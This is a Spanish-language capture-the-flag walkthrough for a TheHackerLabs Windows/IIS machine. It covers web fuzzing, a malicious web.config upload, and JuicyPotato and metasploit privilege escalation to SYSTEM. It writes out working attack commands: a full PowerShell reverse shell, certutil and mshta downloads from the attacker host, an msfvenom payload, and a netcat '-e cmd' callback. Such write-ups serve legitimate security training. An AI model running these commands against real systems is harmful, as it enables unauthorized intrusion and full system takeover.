Ensalá Papas - TheHackerLabs
Una máquina bastante similar a la máquina Bounty de HTB. Después de descubrir el puerto 445 y el puerto 80, intentamos listar los recursos compartidos del servicio SMB, pero al no poder hacerlo, nos vamos al servicio HTTP al cual le aplicamos Fuzzing, así descubrimos una página que nos permite subir archivos. Aplicando un ataque Spider con BurpSuite, descubrimos que acepta archivos con extensión .config. Investigando, hay una forma de subir un archivo malicioso web.config que nos permite tener una CMD en una página web, misma que aplicamos, y así es como obtenemos una Reverse Shell. Por último, revisando los privilegios de nuestro usuario, tenemos el SeImpersonatePrivilege, lo que nos permite utilizar la herramienta Juicy Potato para escalar privilegios y convertirnos en Administrador.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- smbclient
- smbmap
- wfuzz
- gobuster
- BurpSuite
- rlwrap
- nc
- powershell
- systeminfo
- whoami
- certutil.exe
- python3
- JuicyPotato.exe
- nc.exe
- msfvenom
- mshta.exe
- metasploit framework(msfconsole)
- Módulo: exploit/windows/misc/hta_server
- Módulo: post/multi/recon/local_exploit_suggester
- Módulo: exploit/windows/local/ms16_075_reflection_juicy
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Post Explotación
- Enumeración de la Máquina y Escalando Privilegios con Juicy Potato
- Obteniendo Sesión de Meterpreter con Módulo hta_server y Buscando Vulnerabilidades con Módulo local_exploit_suggester
- Links de Investigación
Recopilación de Información
Descubrimiento de Hosts
Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo:
nmap -sn 192.168.1.0/24
Nmap scan report for 192.168.1.010
Host is up (0.00045s latency).
MAC Address: 00:00:00:00:00:00
Lo encontramos con la siguiente IP: 192.168.1.010
.
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.1.010
PING 192.168.1.010 (192.168.1.010) 56(84) bytes of data.
64 bytes from 192.168.1.010: icmp_seq=1 ttl=128 time=3.17 ms
64 bytes from 192.168.1.010: icmp_seq=2 ttl=128 time=0.876 ms
64 bytes from 192.168.1.010: icmp_seq=3 ttl=128 time=0.724 ms
64 bytes from 192.168.1.010: icmp_seq=4 ttl=128 time=0.683 ms
--- 192.168.1.010 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 0.683/1.364/3.173/1.046 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.010 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 13:15 CST
Initiating ARP Ping Scan at 13:15
Scanning 192.168.1.010 [1 port]
Completed ARP Ping Scan at 13:15, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:15
Scanning 192.168.1.010 [65535 ports]
Discovered open port 445/tcp on 192.168.1.010
Discovered open port 139/tcp on 192.168.1.010
Discovered open port 135/tcp on 192.168.1.010
Discovered open port 80/tcp on 192.168.1.010
Discovered open port 49156/tcp on 192.168.1.010
Discovered open port 49155/tcp on 192.168.1.010
Discovered open port 49154/tcp on 192.168.1.010
Completed SYN Stealth Scan at 13:16, 51.41s elapsed (65535 total ports)
Nmap scan report for 192.168.1.010
Host is up, received arp-response (0.00090s latency).
Scanned at 2024-12-02 13:15:14 CST for 52s
Not shown: 42833 closed tcp ports (reset), 22695 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
49154/tcp open unknown syn-ack ttl 128
49155/tcp open unknown syn-ack ttl 128
49156/tcp open unknown syn-ack ttl 128
MAC Address: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 51.64 seconds
Raw packets sent: 129835 (5.713MB) | Rcvd: 42844 (1.714MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Veo dos posibles formas que podemos aplicar para la intrusión, pero veamos qué información obtenemos de los servicios activos.
Escaneo de Servicios
nmap -sCV -p 80,135,139,445,49154,49155,49156 192.168.1.010 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 13:16 CST
Nmap scan report for 192.168.1.010
Host is up (0.00075s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: WIN-4QU3QNHNK7E, NetBIOS user: <unknown>, NetBIOS MAC: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2024-12-02T10:42:05
|_ start_date: 2024-12-02T10:28:03
|_clock-skew: -8h35m33s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.53 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
No nos mostró mucha información que digamos, así que vamos a ir directamente a probar el servicio SMB.
Análisis de Vulnerabilidades
Analizando Servicio SMB
Veamos qué información nos da crackmapexec:
crackmapexec smb 192.168.1.010
SMB 192.168.1.010 445 WIN-4QU3QNHNK7E [*] Windows 6.1 Build 7600 x64 (name:WIN-4QU3QNHNK7E) (domain:WIN-4QU3QNHNK7E) (signing:False) (SMBv1:False)
Tenemos el dominio y la versión de SO que está ocupando y parece que no necesitamos credenciales válidas para loguearnos, pero hay que comprobarlo.
Probemos si es posible listar los archivos compartidos con smblcient:
smbclient -L //192.168.1.010// -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.1.010 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Parece que no podremos.
Hagamos un último intento con smbmap:
smbmap -H 192.168.1.010
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[!] Access denied on 192.168.1.010, no fun for you...
[*] Closed 1 connections
Nada.
Probemos si el servicio SMB es vulnerable con scripts de nmap:
nmap --script "vuln and safe" -p 445 192.168.1.010
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-02 13:20 CST
Nmap scan report for 192.168.1.010
Host is up (0.00075s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
Tampoco nada. Entonces vayamos a probar el servicio HTTP para ver qué encontramos.
Analizando Servicio HTTP
Entremos:
No hay nada como tal.
Veamos qué nos dice Wappalizer:
Igual, no mucho.
Tampoco encontraremos algo si revisamos el código fuente, por lo qué vamos a aplicar Fuzzing para ver que podemos encontrar, pero indicaremos que busque algún archivo asp o aspx.
Fuzzing
wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,aspx-asp-txt http://192.168.1.010/FUZZ.FUZ2Z
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.225/FUZZ.FUZ2Z
Total requests: 661635
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000020968: 400 0 L 2 W 20 Ch "*checkout* - aspx"
000028804: 200 120 L 61 W 1159 Ch "zoc - aspx"
...
...
...
...
Total time: 984.9511
Processed Requests: 661635
Filtered Requests: 661597
Requests/sec.: 671.7439
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.1.010/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30 -x asp,aspx,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.100.010/
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: asp,aspx,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/*checkout*.aspx (Status: 400) [Size: 20]
/zoc.aspx (Status: 200) [Size: 1159]
...
...
...
Progress: 882180 / 882184 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-x | Para indicar las extensiones de archivos especificas a buscar. |
En ambos obtuvimos un resultado que podemos investigar.
Aplicando Ataque Spider con BurpSuite
Veamos esa ruta que encontramos:
Parece que podemos subir archivos, pero no sabemos de qué clase es el correcto.
Vamos a aplicar un ataque Spider con BurpSuite para identificar los archivos que sí acepta.
Puedes descargar el siguiente wordlist:
Ahora la idea es capturar una subida de archivos, tan solo crea un archivo de texto random, cárgalo a la página web, captúralo con BurpSuite y luego mándalo al Intruder:
Aquí estoy mostrando el campo en el que se aplicará el ataque Spider, que es filename=
seleccionando la extensión del archivo. Se carga como payload nuestro wordlist que ya descargamos y le quitamos la opción que URL Encodea cada petición, ya que nos puede dar conflictos al aplicar el ataque.
Y lo iniciamos:
Te puedes dar cuenta de las opciones que fueron aceptadas al ver el tamaño de la respuesta.
Parece que acepta las siguientes extensiones de archivos:
- .config
- .doc
- .docx
- .gif
- .jpeg
- .jpg
- .png
- .xls
- .xlsx
Con varias de estas extensiones no podremos hacer mucho, a excepción de .config
.
Explotación de Vulnerabilidades
Cargando una CMD en un Archivo web.config y Obteniendo una Reverse Shell
Investigando un poco, tenemos que nuestra biblia HackTricks tiene información sobre cómo aprovecharnos de archivos .config:
Ahí nos muestra un ejemplo de un archivo web.config y un blog que nos explica cómo usar estos archivos para ejecutar comandos:
El ejemplo que nos dan, es para que podamos obtener una CMD como una página web.
Tan solo debemos descargar ese ejemplo y cargarlo.
El problema es que, una vez que lo carguemos, no sabemos a dónde va a parar.
Pero si revisamos el código fuente, después de cargar nuestro archivo malicioso, podemos encontrar la ruta donde se están guardando:
Tan solo debemos ir a esa ruta y ya podremos ver nuestra CMD en la web:
Prueba a ejecutar un comando como whoami
:
Excelente, parece que somos un usuario llamado info.
Ahora, podemos obtener una Reverse Shell desde esta CMD.
Abre una netcat usando rlwrap:
rlwrap nc -nlvp 443
listening on [any] 443 ...
En mi caso, voy a aplicar la siguiente:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('Tu_IP',Puerto_a_Usar);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Observa el resultado:
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.010] 49159
PS C:\windows\system32\inetsrv> whoami
win-4qu3qnhnk7e\info
Estamos dentro.
Post Explotación
Enumeración de la Máquina y Escalando Privilegios con Juicy Potato
Como somos el usuario info, podemos obtener su flag:
PS C:\windows\system32\inetsrv> cd C:\Users\info
PS C:\Users\info> dir
Directorio: C:\Users\info
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 18/06/2024 19:33 25 user.txt
PS C:\Users\info> type user.txt
...
Excelente, sigamos avanzando.
Veamos la información del sistema operativo (SO):
PS C:\Users\info> systeminfo
Nombre de host: WIN-4QU3QNHNK7E
Nombre del sistema operativo: Microsoft Windows Server 2008 R2 Datacenter
Versi?n del sistema operativo: 6.1.7600 N/D Compilaci?n 7600
Veamos qué privilegios tenemos:
PS C:\Windows\Temp> whoami /priv
INFORMACI?N DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripci?n Estado
============================= ============================================ =============
SeChangeNotifyPrivilege Omitir comprobaci?n de recorrido Habilitada
SeImpersonatePrivilege Suplantar a un cliente tras la autenticaci?n Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
Tenemos él SeImpersonatePrivilege
, entonces, podemos utilizar la herramienta Juicy Potato para escalar privilegios.
Puedes descargarlo aquí:
Una vez que lo tengas descargado, necesitaremos también el binario nc.exe para poder ejecutarlo con Juicy Potato y obtener una Reverse Shell, que si usas Kali Linux lo deberías tener:
locate nc.exe
/usr/share/windows-resources/binaries/nc.exe
Aunque si no quieres usar el binario nc.exe, puedes crear tu propia Reverse Shell con msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=Tu_IP LPORT=1337 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
Ahora los pasamos a la máquina víctima, abriendo un servidor con Python y descargándolos en el directorio /Temp
con la herramienta certutil.exe:
PS C:\Windows\Temp> certutil.exe -urlcache -split -f http://Tu_IP/nc.exe nc.exe
**** En l?nea ****
0000 ...
e800
CertUtil: -URLCache comando completado correctamente.
PS C:\Windows\Temp> certutil.exe -urlcache -split -f http://Tu_IP/JuicyPotato.exe JuicyPotato.exe
**** En l?nea ****
000000 ...
054e00
CertUtil: -URLCache comando completado correctamente.
Abre una netcat usando otro puerto:
rlwrap nc -nlvp 1337
listening on [any] 1337 ...
Y ejecutamos el Juicy Potato, indicándole que nos mande una CMD a nuestra IP, agregándole un CLSID para la versión del SO que usa la máquina.
El CLSID lo puedes obtener aquí:
Ejecuta el Juicy Potato:
PS C:\Windows\Temp> ./JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\nc.exe -e cmd Tu_IP 1337" -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
Si estás usando una Reverse Shell que tú creaste con msfvenom, modifica el comando para que quede de esta manera:
./JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\shell.exe" -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"
Y observa el resultado:
rlwrap nc -nlvp 1337
listening on [any] 1337 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.010] 49194
Microsoft Windows [Versi�n 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.
C:\Windows\system32>whoami
whoami
nt authority\system
Ya solo buscamos la flag del Administrador:
C:\Windows\system32>cd C:\Users\Administrador\Desktop
cd C:\Users\Administrador\Desktop
C:\Users\Administrador\Desktop>type root.txt
type root.txt
...
Hemos completado la máquina.
Obteniendo Sesión de Meterpreter con Módulo hta_server y Buscando Vulnerabilidades con Módulo local_exploit_suggester
Digamos que, una vez dentro, queremos obtener una sesión de meterpreter.
Podemos usar el módulo exploit/windows/misc/hta_server
para mandarnos una sesión desde la máquina víctima a nuestra sesión de metasploit usando la herramienta mshta.exe.
Pero primero, comprobemos que tengamos mshta.exe en la máquina víctima (que debería estar):
PS C:\Windows\Temp> dir C:\Windows\System32\mshta.exe
Directorio: C:\Windows\System32
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 14/07/2009 3:39 43520 mshta.exe
Lo tenemos y parece que si lo podemos usar.
Inicia metasploit y busca el módulo hta_server:
msf6 > search hta_server
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/misc/hta_server 2016-10-06 manual No HTA Web Server
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) >
Lo configuramos y lo ejecutamos:
msf6 exploit(windows/misc/hta_server) > set LHOST Tu_IP
LHOST => Tu_IP
msf6 exploit(windows/misc/hta_server) > set LPORT 5555
LPORT => 5555
msf6 exploit(windows/misc/hta_server) > set SRVPORT 80
SRVPORT => 80
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on Tu_IP:5555
[*] Using URL: http://Tu_IP/tqAnegB.hta
Copiamos la URL que nos dio y en la máquina víctima, usamos la herramienta mshta.exe para que mande una sesión de meterpreter:
PS C:\Windows\Temp> ./mshta.exe http://Tu_IP/tqAnegB.hta
Observamos el metasploit:
[*] Server started.
[*] 192.168.1.010 hta_server - Delivering Payload
[*] Sending stage (177734 bytes) to 192.168.1.010
[*] Meterpreter session 2 opened (Tu_IP:5555 -> 192.168.1.010:49166) at 2024-12-02 22:12:25 -0600
msf6 exploit(windows/misc/hta_server) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x86/windows WIN-4QU3QNHNK7E\info @ WIN-4QU3QNHNK7E Tu_IP:5555 -> 192.168.1.010:49166 (192.168.1.010)
Ya tenemos nuestra sesión de meterpreter.
Ahora podemos usar el módulo post/multi/recon/local_exploit_suggester
, que va a identificar los Exploits a los que es vulnerable la máquina víctima:
msf6 exploit(windows/misc/hta_server) > search suggester
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester . normal No Multi Recon Local Exploit Suggester
msf6 exploit(windows/misc/hta_server) > use 0
msf6 post(multi/recon/local_exploit_suggester) >
Lo configuramos y lo ejecutamos:
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
SESSION => 2
msf6 post(multi/recon/local_exploit_suggester) > exploit
*] Running check method for exploit 42 / 42
[*] 192.168.1.010 - Valid modules for session 2:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bypassuac_comhijack Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_eventvwr Yes The target appears to be vulnerable.
3 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
4 exploit/windows/local/ms13_053_schlamperei Yes The target appears to be vulnerable.
5 exploit/windows/local/ms13_081_track_popup_menu Yes The target appears to be vulnerable.
6 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable.
7 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable.
8 exploit/windows/local/ms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
9 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
10 exploit/windows/local/ms16_075_reflection_juicy Yes The target appears to be vulnerable.
11 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable.
Parece que la máquina es vulnerable a varios Exploits, pero me llama la atención el módulo exploit/windows/local/ms16_075_reflection_juicy
, pues por lo que entiendo, es la versión de Juicy Potato, pero de metasploit.
Escalando Privilegios con Exploit ms16_075_reflection_juicy de Metasploit Framework
Vamos a usar este módulo y a configurarlo:
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_075_reflection
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/ms16_075_reflection_juicy) > set CLSID {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
CLSID => {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
Y lo ejecutamos:
msf6 exploit(windows/local/ms16_075_reflection_juicy) > exploit
[*] Started reverse TCP handler on Tu_IP:4444
[+] Target appears to be vulnerable (Windows 2008 R2)
[*] Launching notepad to host the exploit...
[+] Process 128 launched.
[*] Reflectively injecting the exploit DLL into 128...
[*] Injecting exploit into 128...
[*] Exploit injected. Injecting exploit configuration into 128...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (177734 bytes) to 192.168.1.010
[*] Meterpreter session 3 opened (Tu_IP:4444 -> 192.168.1.010:49173) at 2024-12-02 22:20:04 -0600
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-4QU3QNHNK7E
OS : Windows Server 2008 R2 (6.1 Build 7600).
Architecture : x64
System Language : es_ES
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
Excelente, hemos escalado privilegios con un módulo de metasploit.
Links de Investigación
- https://github.com/InfoSecWarrior/Offensive-Payloads/blob/main/File-Extensions-Wordlist.txt
- https://jaykiee.medium.com/rce-by-uploading-a-web-config-7390e140a45b
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services#execute-.config-files
- https://soroush.me/blog/2014/07/upload-a-web-config-file-for-fun-profit/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config
- https://github.com/ohpe/juicy-potato
- https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato